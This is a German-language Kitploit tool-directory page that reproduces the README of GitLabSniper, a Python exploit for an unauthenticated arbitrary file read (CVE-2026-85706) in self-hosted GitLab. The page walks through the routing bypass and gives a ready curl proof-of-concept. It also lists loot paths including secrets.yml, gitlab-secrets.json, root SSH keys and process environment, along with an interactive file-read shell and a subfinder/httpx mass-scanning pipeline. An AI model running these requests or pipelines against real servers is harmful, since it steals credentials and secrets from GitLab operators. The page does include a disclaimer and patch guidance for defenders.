Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
GitLabSniper — Einzeldatei-Python-Scanner und Exploit für CVE-2026-85706, ein nicht authentifizierter beliebiger Datei-Lesezugriff in selbstverwaltetem GitLab CE/EE, mit Projekt-Enumeration, Loot-Pfaden und einer interaktiven Shell. | Kitploit
Tools/GitHubGitHub/ynsmroztas/gitlabsniper
AufklärungSchwachstellenscannerExploitationScripting & AutomatisierungWebanwendungs-ExploitationDatenexfiltrationInformationsbeschaffungWebsicherheitPenetrationstests
GitHubynsmroztas/gitlabsniper

GitLabSniper

Einzeldatei-Python-Scanner und Exploit für CVE-2026-85706, ein nicht authentifizierter beliebiger Datei-Lesezugriff in selbstverwaltetem GitLab CE/EE, mit Projekt-Enumeration, Loot-Pfaden und einer interaktiven Shell.

2vor 16h 49mNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Repository anzeigen
Teilen

GitLabSniper — CVE-2026-85706 unauthentifizierte Datei-Lese-Pipeline

GitLabSniper

CVE-2026-85706 — GitLab CE/EE unauthentifiziertes beliebiges Datei-Lesen
Erkennung · Enumeration öffentlicher Projekte · Loot · interaktive Shell · subfinder/httpx-Pipeline


Autor: Yunus Emre Öztaş (mitsec)
X: x.com/ynsmroztas
GitHub: github.com/ynsmroztas
Website: ynsmroztas.github.io
Mail: [email protected]

Nur auf Systemen verwenden, die du besitzt oder für die du ausdrücklich eine Testgenehmigung hast (Bug Bounty / VDP / schriftlicher Vertrag).


Was das ist

GitLabSniper.py ist ein Single-File-Python-Scanner/Exploit für CVE-2026-85706: ein unauthentifiziertes lokales Datei-Lesen in selbst gehosteten GitLab Community Edition und Enterprise Edition.

Es bleibt nicht bei „Version sieht betroffen aus“ stehen. Es feuert den Workhorse-Parser-Differential-Bypass ab, klassifiziert die Rails-Antwort und gibt nur dann FILE LEAK aus, wenn der 400-Body die Dateibytes innerhalb von invalid %-encoding (...) enthält.

BandVersionen
Betroffen18.7 – 19.1.7 · 19.2.0 – 19.2.5 · 19.3.0 – 19.3.1
Gepatcht19.1.8 / 19.2.6 / 19.3.2 (2026-09-10)
Nicht im Scopegitlab.com · GitLab Dedicated

Wie der Bug funktioniert

Drei Repository-Endpunkte sitzen hinter Workhorse requestBodyUploader:

  • POST /api/v4/projects/:id/repository/commits
  • POST /api/v4/projects/:id/repository/files/:file_path
  • PUT /api/v4/projects/:id/repository/files/:file_path

Rails nimmt das rohe file.path-Feld und führt File.open vor authenticate! aus. require_gitlab_workhorse! ist hier kein echtes Gate: Workhorse stempelt bereits ein gültiges Gitlab-Workhorse-Api-Request-JWT auf alles, was es proxyt.

Workhorse sollte den Upload eigentlich zuerst umschreiben. Sein Route-Regex matcht EscapedPath() und einen path.Clean-Klon, der niemals prozent-dekodiert. Puma dekodiert %XX jedoch vor dem Grape-Routing.

root@kitploit:~
Angreifer
  POST /api/v4/projects/35/repository/%63ommits
  POST /api/v4/projects/35/repository/commits/          ← auch der abschließende Slash rutscht durch
       ?file=&file.path=/etc/passwd&file.size=1
       &Content-Type=application/x-www-form-urlencoded
        │
        ▼
Workhorse     Regex sieht "%63ommits" / "commits/"  → MISS  (kein Rewrite)
        │
        ▼
Puma          dekodiert %63 → commits               → ROUTET zu Rails
        │
        ▼
Rails         File.open(params[:file][:path])       → VOR der Auth
        │
        ▼
Rack          parse_nested_query(File.read(path))
              verirrtes "%", das kein %HH ist
        │
        ▼
HTTP 400      Invalid parameter: invalid %-encoding (<rohe Dateibytes>)

Ein leeres file= erfüllt requires :file, WorkhorseFile (leer → nil). Der Leak-Kanal ist der urlencoded-Zweig. JSON/Oj gibt Dateibytes nicht auf dieselbe Weise zurück — das Tool sendet immer Content-Type=application/x-www-form-urlencoded.

//, /./, %2F und ; umgehen nicht: path.Clean normalisiert die ersten beiden und Puma lehnt %2F ab.

Die Projekt-ID ist nicht „aus welchem Repo Dateien gestohlen werden“. file.path ist ein absoluter Serverpfad. Die ID ist nur das URL-Stück, das den verwundbaren Controller erreicht.

Deshalb enumeriert das Tool GET /api/v4/projects und überspringt gated IDs.

Ein bestätigter Leak erfordert diesen Substring im Body:

root@kitploit:~
invalid %-encoding (

Dateien ohne einzelnes % können trotzdem geöffnet werden (read-noecho / später branch is required), werden aber nicht zurückgegeben. Das ist ein Orakel, kein meldbarer Dump.


Features

  • GitLab-Fingerprint (HTML / x-gitlab-* / Sign-in) + Versionsbereich, wenn sichtbar
  • Enumeration öffentlicher Projekte (GET /api/v4/projects)
  • Automatische Auswahl einer nicht-gated Projekt-ID (Fallback 1..7)
  • Workhorse-Bypass-Matrix
    • %63ommits · %72epository · %66iles
    • abschließendes / · .json
    • POST + PUT auf files
  • Antwort-Klassifizierer: leak · leak-fragment · read-noecho · missing · project-gate · rewrite ·

Installation

root@kitploit:~
pip install requests
python3 GitLabSniper.py -h

Python 3.10+. Keine weiteren Abhängigkeiten.


Verwendung

Einzelner Host

root@kitploit:~
python3 GitLabSniper.py -u https://gitlab.example.com --auto
python3 GitLabSniper.py -u https://gitlab.example.com --auto --shell
python3 GitLabSniper.py -u https://gitlab.example.com --file /etc/gitlab/gitlab-secrets.json
python3 GitLabSniper.py -u https://gitlab.example.com --project-id 35 --auto

Interaktive Shell

root@kitploit:~
python3 GitLabSniper.py -u https://gitlab.example.com --shell
root@kitploit:~
[email protected]> help
[email protected]> cat /etc/passwd
[email protected]> secrets
[email protected]> loot
[email protected]> project 35
[email protected]> curl /etc/gitlab/gitlab.rb
[email protected]> exit

Pipeline (subfinder + httpx)

root@kitploit:~
subfinder -d example.com -silent \
  | httpx -silent -sc -td -title \
  | python3 GitLabSniper.py --pipe --auto -o hits.jsonl

subfinder -d example.com -silent \
  | httpx -silent -json \
  | python3 GitLabSniper.py --pipe --auto -q -o hits.jsonl

# stdin ist kein TTY → --pipe wird impliziert
cat hosts.txt | python3 GitLabSniper.py --auto

Der Parser akzeptiert:

  • https://gitlab.example.com
  • https://gitlab.example.com [200] [GitLab] [nginx]
  • httpx -json-Objekte (url / status_code)
  • bloßes host und host:port
  • überspringt [0] / Timeout / leere Zeilen

Flags

Exit-Codes: 0 Leak · 1 nur Orakel / kein Leak in der Pipe · 2 kein verwertbares Signal.


Verdicts

Reiche kein Critical allein aufgrund von read-noecho ein.


Standard-Loot-Pfade

root@kitploit:~
/etc/hostname
/etc/passwd
/etc/os-release
/opt/gitlab/embedded/service/gitlab-rails/config/secrets.yml
/opt/gitlab/embedded/service/gitlab-rails/config/gitlab.yml
/opt/gitlab/embedded/service/gitlab-rails/config/database.yml
/etc/gitlab/gitlab-secrets.json
/etc/gitlab/gitlab.rb
/var/opt/gitlab/gitlab-rails/etc/secrets.yml
/opt/gitlab/embedded/service/gitlab-rails/config/initializers/secret_token.rb
/root/.ssh/id_rsa
/var/opt/gitlab/.ssh/id_rsa
/proc/self/environ

Höchste Auswirkung, wenn sie zurückgegeben werden: secrets.yml, gitlab-secrets.json, database.yml (secret_key_base, otp_key_base, DB-Passwort).


Manueller PoC (dieselbe Anfrage, die das Tool sendet)

root@kitploit:~
curl -sk -X POST \
  "https://gitlab.example.com/api/v4/projects/35/repository/commits/?file=&file.path=%2Fopt%2Fgitlab%2Fembedded%2Fservice%2Fgitlab-rails%2Fconfig%2Fgitlab.yml&file.size=1&Content-Type=application/x-www-form-urlencoded"

Eine verwundbare Instanz gibt JSON ähnlich wie folgt zurück:

root@kitploit:~
{"message":"400 Bad request - Invalid parameter: invalid %-encoding (## GitLab settings\n  gitlab:\n    host: gitlab.example.com\n ... )"}

Auf manchen Hosts ist %63ommits 401 und /repository/commits/ (abschließender Slash) die Form, die leakt. Das Tool geht jede Variante durch.


Recon-Helfer

root@kitploit:~
http.html:"GitLab" http.status:200
http.html:"Sign in · GitLab"
ssl:"gitlab" port:443
"X-Gitlab-"

Kombiniere mit subfinder | httpx | GitLabSniper.py --pipe --auto.


Haftungsausschluss

Dieses Repository dient autorisierten Sicherheitstests und der defensiven Validierung nach dem Patchen. Du bist für den Scope verantwortlich.

Wenn du eine selbst gehostete GitLab-Instanz im betroffenen Bereich betreibst: aktualisiere jetzt auf 19.1.8 / 19.2.6 / 19.3.2. Durchsuche Access-Logs nach POST /api/v4/projects/*/repository/commits mit einem file.path-Query-Parameter.


Credits

Schwachstelle gemeldet von s3ntago über GitLab HackerOne.

Write-up und ursprünglicher PoC, auf dem dieses Tool aufbaut:

https://github.com/guneykabel/cve-2026-85706

Dank an guneykabel für die Veröffentlichung eines klaren Klassifizierers (leak / missing / project-gate / rewrite) und der Erklärung des Workhorse ↔ Puma-Differentials. GitLabSniper umhüllt dieses Modell mit Projekt-Enum, Loot, Shell und Recon-Pipelines.

GitLab-Advisory / Patches: CE/EE 19.1.8, 19.2.6, 19.3.2.


Autor

Yunus Emre Öztaş · mitsec

  • X — x.com/ynsmroztas
  • GitHub — github.com/ynsmroztas
  • Web — ynsmroztas.github.io
  • Mail — [email protected]
Tool herunterladen
EndpunktProjektanforderung
files (%66iles)Beliebige ID funktioniert oft — File.open liegt vor den Projektprüfungen
commits (%63ommits, commits/, commits.json)Benötigt ein Projekt, das ein anonymer Nutzer read_code kann. Andernfalls 404 Project Not Found
noroute
  • --auto-Loot-Liste (hostname, passwd, secrets.yml, gitlab-secrets.json, gitlab.rb, database.yml, SSH-Keys, environ)
  • Sticky funktionierende Form nach dem ersten Leak
  • Interaktive Shell (cat, loot, secrets, passwd, project <id>, curl)
  • Pipeline: rohe Hosts, httpx -sc -td -title, httpx -json, ANSI entfernt
  • JSON / JSONL-Report (-o)
  • Farbiges HIT-Banner + direkt einfügbarer curl-PoC
  • FlagBedeutung
    -u / -t / --targetEinzelne Basis-URL
    --pipeZiele von stdin lesen
    -f / --listDatei mit Hosts
    --fileEin absoluter Pfad zum Lesen
    --auto / --lootListe hochwertiger GitLab-Dateien
    --shellInteraktive Datei-Lese-Shell
    --project-idProjekt-ID erzwingen (Standard: Enum + Fallback)
    --max-projectsEnum/Fallback-IDs begrenzen (Standard 8)
    --forceScannen, auch wenn der Fingerprint schwach ist
    --threadsPipeline-Worker (Standard 8)
    --timeoutSekunden (Standard 15)
    -ohits.json oder hits.jsonl
    -qLeise
    --no-bannerKein Banner
    TagBedeutungMelden?
    leakinvalid %-encoding ( + DateibytesJa — bestätigt
    leak-fragmentTeilweiser EchoVielleicht, Body anhängen
    read-noecho401 / branch is required nach dem Öffnen, kein % in der DateiNur Orakel
    missinglocal file not present — Bypass hat die Festplatte erreichtExistenz-Orakel
    project-gate404 Project Not FoundAndere öffentliche ID versuchen
    rewriteWorkhorse hat den Body umgeschrieben (Invalid json)Diese Form ist tot
    norouteEinfaches 404Gepatcht oder falscher Pfad
    other500 / RestBody dumpen, bevor du etwas behauptest